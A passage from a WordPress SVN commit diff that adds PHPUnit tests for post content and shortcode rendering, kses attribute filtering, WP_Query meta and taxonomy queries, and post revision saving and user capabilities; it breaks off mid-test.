+
+               $post_id = $this->factory->post->create( compact( 'post_content' ) );
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertTrue( is_single() );
+               $this->assertTrue( have_posts() );
+               $this->assertNull( the_post() );
+
+               $this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+       }
+
+       function test_the_content_shortcode_paragraph() {
+               $post_content = <<<EOF
+Graf by itself:
+
+[paragraph]my graf[/paragraph]
+
+  [paragraph foo="bar"]another graf with whitespace[/paragraph]
+
+An [paragraph]inline graf[/paragraph], this doesn't make much sense.
+
+A graf with a single EOL first:
+[paragraph]blah[/paragraph]
+
+EOF;
+
+               $expected = <<<EOF
+<p>Graf by itself:</p>
+<p class='graf'>my graf</p>
+
+  <p class='graf'>another graf with whitespace</p>
+
+<p>An <p class='graf'>inline graf</p>
+, this doesn&#8217;t make much sense.</p>
+<p>A graf with a single EOL first:<br />
+<p class='graf'>blah</p>
+</p>
+
+EOF;
+
+               $post_id = $this->factory->post->create( compact( 'post_content' ) );
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertTrue( is_single() );
+               $this->assertTrue( have_posts() );
+               $this->assertNull( the_post() );
+
+               $this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+       }
+
+       function test_the_content_attribute_filtering() {
+               kses_init_filters();
+
+               // http://bpr3.org/?p=87
+               // the title attribute should make it through unfiltered
+               $post_content = <<<EOF
+<span class="Z3988" title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.aulast=Mariat&rft.aufirst=Denis&rft. au=Denis+Mariat&rft.au=Sead+Taourit&rft.au=G%C3%A9rard+Gu%C3%A9rin& rft.title=Genetics+Selection+Evolution&rft.atitle=&rft.date=2003&rft. volume=35&rft.issue=1&rft.spage=119&rft.epage=133&rft.genre=article& rft.id=info:DOI/10.1051%2Fgse%3A2002039"></span>Mariat, D., Taourit, S., Guérin, G. (2003). . <span style="font-style: italic;">Genetics Selection Evolution, 35</span>(1), 119-133. DOI: <a rev="review" href= "http://dx.doi.org/10.1051/gse:2002039">10.1051/gse:2002039</a>
+EOF;
+
+               $expected = <<<EOF
+<p><span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.aulast=Mariat&amp;rft.aufirst=Denis&amp;rft. au=Denis+Mariat&amp;rft.au=Sead+Taourit&amp;rft.au=G%C3%A9rard+Gu%C3%A9rin&amp; rft.title=Genetics+Selection+Evolution&amp;rft.atitle=&amp;rft.date=2003&amp;rft. volume=35&amp;rft.issue=1&amp;rft.spage=119&amp;rft.epage=133&amp;rft.genre=article&amp; rft.id=info:DOI/10.1051%2Fgse%3A2002039"></span>Mariat, D., Taourit, S., Guérin, G. (2003). . <span style="font-style: italic">Genetics Selection Evolution, 35</span>(1), 119-133. DOI: <a rev="review" href="http://dx.doi.org/10.1051/gse:2002039">10.1051/gse:2002039</a></p>
+EOF;
+
+               $post_id = $this->factory->post->create( compact( 'post_content' ) );
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertTrue( is_single() );
+               $this->assertTrue( have_posts() );
+               $this->assertNull( the_post() );
+
+               $this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+
+               kses_remove_filters();
+       }
+
+       function test_the_content_attribute_value_with_colon() {
+               kses_init_filters();
+
+               // http://bpr3.org/?p=87
+               // the title attribute should make it through unfiltered
+               $post_content = <<<EOF
+<span title="My friends: Alice, Bob and Carol">foo</span>
+EOF;
+
+               $expected = <<<EOF
+<p><span title="My friends: Alice, Bob and Carol">foo</span></p>
+EOF;
+
+               $post_id = $this->factory->post->create( compact( 'post_content' ) );
+               $this->go_to( get_permalink( $post_id ) );
+               $this->assertTrue( is_single() );
+               $this->assertTrue( have_posts() );
+               $this->assertNull( the_post() );
+
+               $this->assertEquals( strip_ws( $expected ), strip_ws( get_echo( 'the_content' ) ) );
+
+               kses_remove_filters();
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestspostqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/query.php                         (rev 0)
+++ trunk/tests/tests/post/query.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,547 @@
</span><ins>+<?php
+
+/**
+ * @group meta
+ */
+class Tests_Post_Query extends WP_UnitTestCase {
+    function setUp() {
+       parent::setUp();
+    }
+
+    function test_meta_key_or_query() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'foo', rand_str() );
+       add_post_meta( $post_id, 'foo', rand_str() );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'bar', 'val2' );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'baz', rand_str() );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'froo', rand_str() );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'tango', 'val2' );
+       $post_id6 = $this->factory->post->create();
+       add_post_meta( $post_id6, 'bar', 'val1' );
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+                   array(
+                           'key' => 'foo'
+                   ),
+                   array(
+                           'key' => 'bar',
+                           'value' => 'val2'
+                   ),
+                   array(
+                           'key' => 'baz'
+                   ),
+                   array(
+                           'key' => 'froo'
+                   ),
+                   'relation' => 'OR',
+           ),
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 4, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+
+       $post_ids = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id2, $post_id3, $post_id4 ), $post_ids );
+    }
+
+    function test_meta_key_and_query() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'foo', rand_str() );
+       add_post_meta( $post_id, 'foo', rand_str() );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'bar', 'val2' );
+       add_post_meta( $post_id2, 'foo', rand_str() );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'baz', rand_str() );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'froo', rand_str() );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'tango', 'val2' );
+       $post_id6 = $this->factory->post->create();
+       add_post_meta( $post_id6, 'bar', 'val1' );
+       add_post_meta( $post_id6, 'foo', rand_str() );
+       $post_id7 = $this->factory->post->create();
+       add_post_meta( $post_id7, 'foo', rand_str() );
+       add_post_meta( $post_id7, 'froo', rand_str() );
+       add_post_meta( $post_id7, 'baz', rand_str() );
+       add_post_meta( $post_id7, 'bar', 'val2' );
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+                   array(
+                           'key' => 'foo'
+                   ),
+                   array(
+                           'key' => 'bar',
+                           'value' => 'val2'
+                   ),
+                   array(
+                           'key' => 'baz'
+                   ),
+                   array(
+                           'key' => 'froo'
+                   ),
+                   'relation' => 'AND',
+           ),
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 1, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+
+       $post_ids = wp_list_pluck( $posts, 'ID' );
+       $this->assertEquals( array( $post_id7 ), $post_ids );
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+                   array(
+                           'key' => 'foo'
+                   ),
+                   array(
+                           'key' => 'bar',
+                   ),
+                   'relation' => 'AND',
+           ),
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 3, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+
+       $post_ids = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id2, $post_id6, $post_id7 ), $post_ids );
+    }
+
+    /**
+     * @ticket 18158
+     */
+    function test_meta_key_not_exists() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'foo', rand_str() );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'bar', rand_str() );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'bar', rand_str() );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'baz', rand_str() );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'foo', rand_str() );
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+               array(
+                   'key' => 'foo',
+                   'compare' => 'NOT EXISTS',
+               ),
+           ),
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 3, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+               array(
+                   'key' => 'foo',
+                   'compare' => 'NOT EXISTS',
+               ),
+               array(
+                   'key' => 'bar',
+                   'compare' => 'NOT EXISTS',
+               ),
+           ),
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 1, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+
+       $query = new WP_Query( array(
+           'meta_query' => array(
+               array(
+                   'key' => 'foo',
+                   'compare' => 'NOT EXISTS',
+               ),
+               array(
+                   'key' => 'bar',
+                   'compare' => 'NOT EXISTS',
+               ),
+               array(
+                   'key' => 'baz',
+                   'compare' => 'NOT EXISTS',
+               ),
+           )
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 0, count( $posts ) );
+    }
+
+    /**
+     * @ticket 20604
+     */
+    function test_taxonomy_empty_or() {
+       // An empty tax query should return an empty array, not all posts.
+
+       $this->factory->post->create_many( 10 );
+
+       $query = new WP_Query( array(
+           'fields'    => 'ids',
+           'tax_query' => array(
+               'relation' => 'OR',
+               array(
+                       'taxonomy' => 'post_tag',
+                       'field' => 'id',
+                       'terms' => false,
+                       'operator' => 'IN'
+               ),
+               array(
+                       'taxonomy' => 'category',
+                       'field' => 'id',
+                       'terms' => false,
+                       'operator' => 'IN'
+               )
+           )
+       ) );
+
+       $posts = $query->get_posts();
+       $this->assertEquals( 0 , count( $posts ) );
+    }
+
+    function test_meta_between_not_between() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'time', 500 );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'time', 1001 );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'time', 0 );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'time', 1 );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'time', 1000 );
+
+       $args = array(
+               'meta_key' => 'time',
+               'meta_value' => array( 1, 1000 ),
+               'meta_type' => 'numeric',
+               'meta_compare' => 'NOT BETWEEN'
+           );
+
+       $query = new WP_Query( $args );
+       $this->assertEquals( 2, count ( $query->posts ) );
+       foreach ( $query->posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $query->posts, 'ID' );
+       $this->assertEqualSets( array( $post_id2, $post_id3 ), $posts );
+
+       $args = array(
+               'meta_key' => 'time',
+               'meta_value' => array( 1, 1000 ),
+               'meta_type' => 'numeric',
+               'meta_compare' => 'BETWEEN'
+           );
+
+       $query = new WP_Query( $args );
+       $this->assertEquals( 3, count ( $query->posts ) );
+       foreach ( $query->posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $query->posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id4, $post_id5 ), $posts );
+    }
+
+    /**
+     * @ticket 16829
+     */
+    function test_meta_default_compare() {
+       // compare should default to IN when meta_value is an array
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'foo', 'bar' );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'bar', 'baz' );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'foo', 'baz' );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'baz', 'bar' );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'foo', rand_str() );
+
+       $posts = get_posts( array(
+           'meta_key' => 'foo',
+           'meta_value' => array( 'bar', 'baz' )
+       ) );
+
+       $this->assertEquals( 2, count( $posts ) );
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id3 ), $posts );
+
+       $posts = get_posts( array(
+           'meta_key' => 'foo',
+           'meta_value' => array( 'bar', 'baz' ),
+           'meta_compare' => 'IN'
+       ) );
+
+       $this->assertEquals( 2, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id3 ), $posts );
+    }
+
+    /**
+     * @ticket 17264
+     */
+    function test_duplicate_posts_when_no_key() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'city', 'Lorem' );
+       add_post_meta( $post_id, 'address', '123 Lorem St.' );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'city', 'Lorem' );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'city', 'Loren' );
+
+       $args = array(
+           'meta_query' => array(
+               array(
+                   'value' => 'lorem',
+                   'compare' => 'LIKE'
+               )
+           )
+       );
+
+       $posts = get_posts( $args );
+       $this->assertEquals( 2, count( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id2 ), $posts );
+    }
+
+    /**
+     * @ticket 15292
+     */
+    function test_empty_meta_value() {
+       $post_id = $this->factory->post->create();
+       add_post_meta( $post_id, 'foo', '0' );
+       add_post_meta( $post_id, 'bar', 0 );
+       $post_id2 = $this->factory->post->create();
+       add_post_meta( $post_id2, 'foo', 1 );
+       $post_id3 = $this->factory->post->create();
+       add_post_meta( $post_id3, 'baz', 0 );
+       $post_id4 = $this->factory->post->create();
+       add_post_meta( $post_id4, 'baz', 0 );
+       $post_id5 = $this->factory->post->create();
+       add_post_meta( $post_id5, 'baz', 0 );
+       add_post_meta( $post_id5, 'bar', '0' );
+       $post_id6 = $this->factory->post->create();
+       add_post_meta( $post_id6, 'baz', 0 );
+
+       $posts = get_posts( array( 'meta_key' => 'foo', 'meta_value' => '0' ) );
+       $this->assertEquals( 1, count ( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $this->assertEquals( $post_id, $posts[0]->ID );
+
+       $posts = get_posts( array( 'meta_key' => 'bar', 'meta_value' => '0' ) );
+       $this->assertEquals( 2, count ( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id5 ), $posts );
+
+    $posts = get_posts( array( 'meta_key' => 'bar', 'meta_value' => 0 ) );
+       $this->assertEquals( 2, count ( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id5 ), $posts );
+
+    $posts = get_posts( array( 'meta_value' => 0 ) );
+       $this->assertEquals( 5, count ( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id3, $post_id4, $post_id5, $post_id6 ), $posts );
+
+    $posts = get_posts( array( 'meta_value' => '0' ) );
+       $this->assertEquals( 5, count ( $posts ) );
+       foreach ( $posts as $post ) {
+               $this->assertInstanceOf( 'WP_Post', $post );
+               $this->assertEquals( 'raw', $post->filter );
+       }
+       $posts = wp_list_pluck( $posts, 'ID' );
+       $this->assertEqualSets( array( $post_id, $post_id3, $post_id4, $post_id5, $post_id6 ), $posts );
+    }
+
+       function test_taxonomy_include_children() {
+               $cat_a = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'Australia' ) );
+               $cat_b = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'Sydney', 'parent' => $cat_a ) );
+               $cat_c = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'East Syndney', 'parent' => $cat_b ) );
+               $cat_d = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'West Syndney', 'parent' => $cat_b ) );
+
+               $post_a = $this->factory->post->create( array( 'post_category' => array( $cat_a ) ) );
+               $post_b = $this->factory->post->create( array( 'post_category' => array( $cat_b ) ) );
+               $post_c = $this->factory->post->create( array( 'post_category' => array( $cat_c ) ) );
+               $post_d = $this->factory->post->create( array( 'post_category' => array( $cat_d ) ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_a ),
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 4 , count( $posts ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_a ),
+                                       'include_children' => false
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 1 , count( $posts ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_b ),
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 3 , count( $posts ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_b ),
+                                       'include_children' => false
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 1 , count( $posts ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_c ),
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 1 , count( $posts ) );
+
+               $posts = get_posts( array(
+                   'tax_query' => array(
+                               array(
+                                       'taxonomy' => 'category',
+                                       'field' => 'id',
+                                       'terms' => array( $cat_c ),
+                                       'include_children' => false
+                               )
+                   )
+               ) );
+
+               $this->assertEquals( 1 , count( $posts ) );
+       }
+
+       /**
+        * @ticket 22448
+        */
+       function test_the_posts_filter() {
+               // Create posts and clear their caches.
+               $post_ids = $this->factory->post->create_many( 10 );
+               foreach ( $post_ids as $post_id )
+                       clean_post_cache( $post_id );
+
+               add_filter( 'the_posts', array( $this, 'the_posts_filter' ) );
+
+               $query = new WP_Query( array(
+                       'post_type' => 'post',
+                       'posts_per_page' => 5,
+               ) );
+
+               // Sixth post added in filter
+               $this->assertEquals( 6, count( $query->posts ) );
+               $this->assertEquals( 6, $query->post_count );
+
+               foreach ( $query->posts as $post ) {
+
+                       // posts are WP_Post objects
+                       $this->assertTrue( is_a( $post, 'WP_Post' ) );
+
+                       // filters are raw
+                       $this->assertEquals( 'raw', $post->filter );
+
+                       // custom data added in the_posts filter is preserved
+                       $this->assertEquals( array( $post->ID, 'custom data' ), $post->custom_data );
+               }
+
+               remove_filter( 'the_posts', array( $this, 'the_posts_filter' ) );
+       }
+
+       /**
+        * Use with the_posts filter, appends a post and adds some custom data.
+        */
+       function the_posts_filter( $posts ) {
+               $posts[] = clone $posts[0];
+
+               // Add some custom data to each post.
+               foreach ( $posts as $key => $post )
+                       $posts[ $key ]->custom_data = array( $post->ID, 'custom data' );
+
+               return $posts;
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestspostrevisionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/post/revisions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/post/revisions.php                             (rev 0)
+++ trunk/tests/tests/post/revisions.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,341 @@
</span><ins>+<?php
+
+/**
+ * @group post
+ * @group revision
+ */
+class Tests_Post_Revisions extends WP_UnitTestCase {
+
+       function setUp() {
+               parent::setUp();
+               $this->post_type = rand_str( 20 );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               unset( $GLOBALS['wp_post_types'][ $this->post_type ] );
+       }
+
+       /**
+        * Note: Test needs reviewing when #16215 is fixed because I'm not sure the test current tests the "correct" behavior
+        * @ticket 20982
+        * @ticket 16215
+        */
+       function test_revision_restore_updates_edit_last_post_meta() {
+               $admin_user_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+               //create a post as Author
+               wp_set_current_user( $author_user_id );
+               $post = get_default_post_to_edit( 'post', true );
+               $post_id = $post->ID;
+
+               wp_update_post( array( 'post_status' => 'draft', 'post_content' => 'I cant spel werds.', 'ID' => $post_id ) );
+
+               //update post as Editor
+               wp_set_current_user( $editor_user_id );
+               wp_update_post( array( 'post_content' => 'The Editor was in fixing your typos.', 'ID' => $post_id ) );
+
+               //restore back as Admin
+               wp_set_current_user( $admin_user_id );
+               $revisions = wp_get_post_revisions( $post->ID );
+               $this->assertCount( 2, $revisions );
+
+               $lastrevision = end( $revisions );
+               $this->assertEquals( 'I cant spel werds.', $lastrevision->post_content );
+               // #16215
+               $this->assertEquals( $author_user_id , $lastrevision->post_author);
+
+               wp_restore_post_revision( $lastrevision->ID );
+
+               //is post_meta correctly set to revision author
+               $this->assertEquals( $admin_user_id, get_post_meta( $post_id, '_edit_last', true ) ); //after restoring user
+
+               wp_set_current_user( 0 );
+       }
+
+       /**
+       * @ticket 7392
+       * @ticket 9843
+       */
+       function test_revision_dont_save_revision_if_unchanged() {
+               $post = get_default_post_to_edit( 'post', true );
+               $post_id = $post->ID;
+
+               $this->assertCount( 0, wp_get_post_revisions( $post_id ) ); // No revisions on auto-draft creation.
+
+               wp_update_post( array( 'post_status' => 'draft', 'post_title' => 'some-post', 'post_content' => 'some_content', 'ID' => $post_id ) );
+
+               $this->assertCount( 1, wp_get_post_revisions( $post_id ) ); // Just the initial revision
+
+               // First update
+               wp_update_post( array( 'post_content'   => 'some updated content', 'ID' => $post_id ) );
+
+               $this->assertCount( 2, wp_get_post_revisions( $post_id ) ); // should be 2 revisions so far
+
+               //update the post
+               wp_update_post( array( 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //2nd revision
+               $this->assertCount( 3, wp_get_post_revisions( $post_id ) ); // should be 3 revision so far
+
+               //next try to save another identical update, tests for patch that prevents storing duplicates
+               wp_update_post( array( 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //content unchanged, shouldn't save
+               $this->assertCount( 3, wp_get_post_revisions( $post_id ) ); //should still be 3 revision
+
+               //next try to save another update, same content, but new ttile, should save revision
+               wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );
+               $this->assertCount( 4, wp_get_post_revisions( $post_id ) ); //should  be 4 revision
+
+               //next try to save another identical update
+               wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //content unchanged, shouldn't save
+               $this->assertCount( 4, wp_get_post_revisions( $post_id ) ); //should still be 4 revision
+       }
+
+       /**
+       * @ticket 7392
+       * @ticket 9843
+       */
+       function test_revision_force_save_revision_even_if_unchanged() {
+               add_filter( 'wp_save_post_revision_check_for_changes', '__return_false' );
+
+               $post = get_default_post_to_edit( 'post', true );
+               $post_id = $post->ID;
+
+               $this->assertCount( 0, wp_get_post_revisions( $post_id ) ); // No revisions on auto-draft creation.
+
+               wp_update_post( array( 'post_status' => 'draft', 'post_title' => 'some-post', 'post_type' => 'post', 'post_content' => 'some_content', 'ID' => $post_id ) );
+
+               $this->assertCount( 1, wp_get_post_revisions( $post_id ) );
+
+               wp_update_post( array( 'post_content'   => 'some updated content', 'ID' => $post_id ) );  //1st revision
+               $this->assertCount( 2, wp_get_post_revisions( $post_id ) );
+
+               //update the post
+               wp_update_post( array( 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //2nd revision
+               $this->assertCount( 3, wp_get_post_revisions( $post_id ) );
+
+               //next try to save another identical update, tests for patch that prevents storing duplicates
+               wp_update_post( array( 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //content unchanged, shouldn't save
+               $this->assertCount( 4, wp_get_post_revisions( $post_id ) );
+
+               //next try to save another update, same content, but new ttile, should save revision
+               wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );
+               $this->assertCount( 5, wp_get_post_revisions( $post_id ) );
+
+               //next try to save another identical update
+               wp_update_post( array( 'post_title' => 'some-post-changed', 'post_content'   => 'new update for some updated content', 'ID' => $post_id ) );   //content unchanged, shouldn't save
+               $this->assertCount( 6, wp_get_post_revisions( $post_id ) );
+
+               remove_filter( 'wp_save_post_revision_check_for_changes', '__return_false' );
+       }
+
+       /**
+        * Tests the Caps used in the action=view case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_view_caps_post() {
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 1, $revisions );
+               $this->assertTrue( user_can( $editor_user_id, 'read_post', $post_id ) );
+
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+               }
+
+               // Author should be able to view the revisions fine
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+               }
+       }
+
+       /**
+        * Tests the Caps used in the action=restore case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_restore_caps_post() {
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 1, $revisions );
+               foreach ( $revisions as $revision ) {
+                        $this->assertTrue( user_can( $editor_user_id, 'edit_post', $revision->post_parent ) );
+               }
+
+               // Author shouldn't be able to restore the revisions
+               foreach ( $revisions as $revision ) {
+                        $this->assertFalse( user_can( $author_user_id, 'edit_post', $revision->post_parent ) );
+               }
+       }
+
+       /**
+        * Tests the Caps used in the action=diff case of wp-admin/revision.php
+        * @ticket 16847
+        */
+       function test_revision_diff_caps_post() {
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => 'post', 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+               wp_update_post( array( 'post_content' => 'This content is even better', 'ID' => $post_id ) );
+
+               // Diff checks if you can read both left and right revisions
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 2, $revisions );
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $editor_user_id, 'read_post', $revision->ID ) );
+               }
+
+               // Author should be able to diff the revisions fine
+               foreach ( $revisions as $revision ) {
+                       $this->assertTrue( user_can( $author_user_id, 'read_post', $revision->ID ) );
+               }
+       }
+
+       /**
+        * Tests the Caps used in the action=view case of wp-admin/revision.php with a CPT with Custom Capabilities
+        * @ticket 16847
+        */
+       function test_revision_view_caps_cpt() {
+               register_post_type( $this->post_type, array(
+                       'capability_type' => 'event',
+                       'map_meta_cap' => true,
+                       'supports' => array( 'revisions' ),
+               ) );
+
+               $author_user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $editor_user_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+
+               $post_id = $this->factory->post->create( array( 'post_type' => $this->post_type, 'post_author' => $editor_user_id ) );
+               wp_update_post( array( 'post_content' => 'This content is much better', 'ID' => $post_id ) );
+
+               $revisions = wp_get_post_revisions( $post_id );
+               $this->assertCount( 1, $revisions );
+               $this->assertTrue( user_can( $editor_user_id, 'read_post', $post_id ) );
+
+               foreach ( $revisions as $revision ) {
